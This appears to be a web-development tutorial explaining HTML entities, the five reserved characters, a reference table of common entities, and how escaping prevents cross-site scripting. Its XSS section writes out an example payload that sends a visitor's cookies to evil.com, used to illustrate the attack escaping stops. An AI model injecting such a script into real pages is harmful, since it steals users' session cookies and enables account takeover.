What are HTML Entities?
Why some characters need to be escaped in HTML, how entities work, and a reference for the most commonly used ones.
What is an HTML entity?
An HTML entity is a piece of text that starts with & and ends with ; that the browser renders as a specific character. They exist to solve two problems:
- Reserved characters — characters like
<,>, and&have special meaning in HTML. To display them as literal text, you must escape them. - Hard-to-type characters — symbols like ©, ™, →, €, or non-breaking spaces are easier to reference by name than to type directly or copy-paste.
For example, to display <p> as literal text in HTML (not as an opening tag), you write <p>.
Named vs numeric entities
Entities come in two forms. Both render identically:
© ← named entity (descriptive, readable) © ← decimal numeric entity © ← hexadecimal numeric entity All three render as: ©
Named entities are easier to remember. Numeric entities cover every Unicode character even if no named form exists. Hex numeric entities (prefixed with &#x) correspond directly to Unicode code points — © is U+00A9.
The five characters you must escape
These characters are reserved in HTML. Using them literally in content can break parsing or create XSS vulnerabilities:
| Character | Named entity | Why escape it |
|---|---|---|
| < | < | Opens HTML tags — parser treats it as markup |
| > | > | Closes HTML tags |
| & | & | Starts all entities — must be escaped first |
| " | " | Closes attribute values in double quotes |
| ' | ' | Closes attribute values in single quotes (HTML5) |
Common entities reference
| Renders as | Named entity | Description |
|---|---|---|
| | Non-breaking space (prevents line break) | |
| © | © | Copyright symbol |
| ® | ® | Registered trademark |
| ™ | ™ | Trademark symbol |
| € | € | Euro sign |
| £ | £ | Pound sign |
| ¥ | ¥ | Yen sign |
| – | – | En dash |
| — | — | Em dash |
| … | … | Horizontal ellipsis |
| → | → | Right arrow |
| ← | ← | Left arrow |
| ✓ | ✓ | Check mark |
| " | “ | Left double quote |
| " | ” | Right double quote |
Entities and XSS security
The most important reason to escape HTML entities is security. Cross-site scripting (XSS) attacks work by injecting script tags into HTML that the browser then executes. If your app displays user input without escaping it:
<!-- User submitted this as their "name": --> <script>document.location='https://evil.com?c='+document.cookie</script> <!-- Without escaping, the browser runs the script --> <p>Hello, <script>...</script></p> <!-- With escaping, the browser shows it as text --> <p>Hello, <script>...</script></p>
Modern frameworks (React, Vue, Angular) automatically escape any dynamic content you insert as text. Problems arise when you bypass this with dangerouslySetInnerHTML, v-html, or innerHTML with user-controlled strings. Never do this with unsanitized input.
Frequently asked questions
- Do I need to escape HTML entities in modern frameworks like React?
- For text content, no — React, Vue, and Angular automatically escape any string you render as content. You only need to think about escaping when using raw HTML insertion APIs (dangerouslySetInnerHTML in React, v-html in Vue) or when building HTML strings manually in server-side code.
- What is used for?
- A non-breaking space ( ) is a space character that prevents the browser from wrapping a line at that point. It's also used to force space in situations where regular spaces collapse (HTML collapses multiple spaces into one). Common uses: "10 km" (number + unit), "Mr. Smith" (title + name), or padding cells in a table.
- What's the difference between encoding and escaping?
- In this context, the terms are used interchangeably. "Escaping" means converting special characters to their safe HTML representations. "Encoding" means the same transformation but can also refer to character encodings like UTF-8, which determine how text bytes map to characters.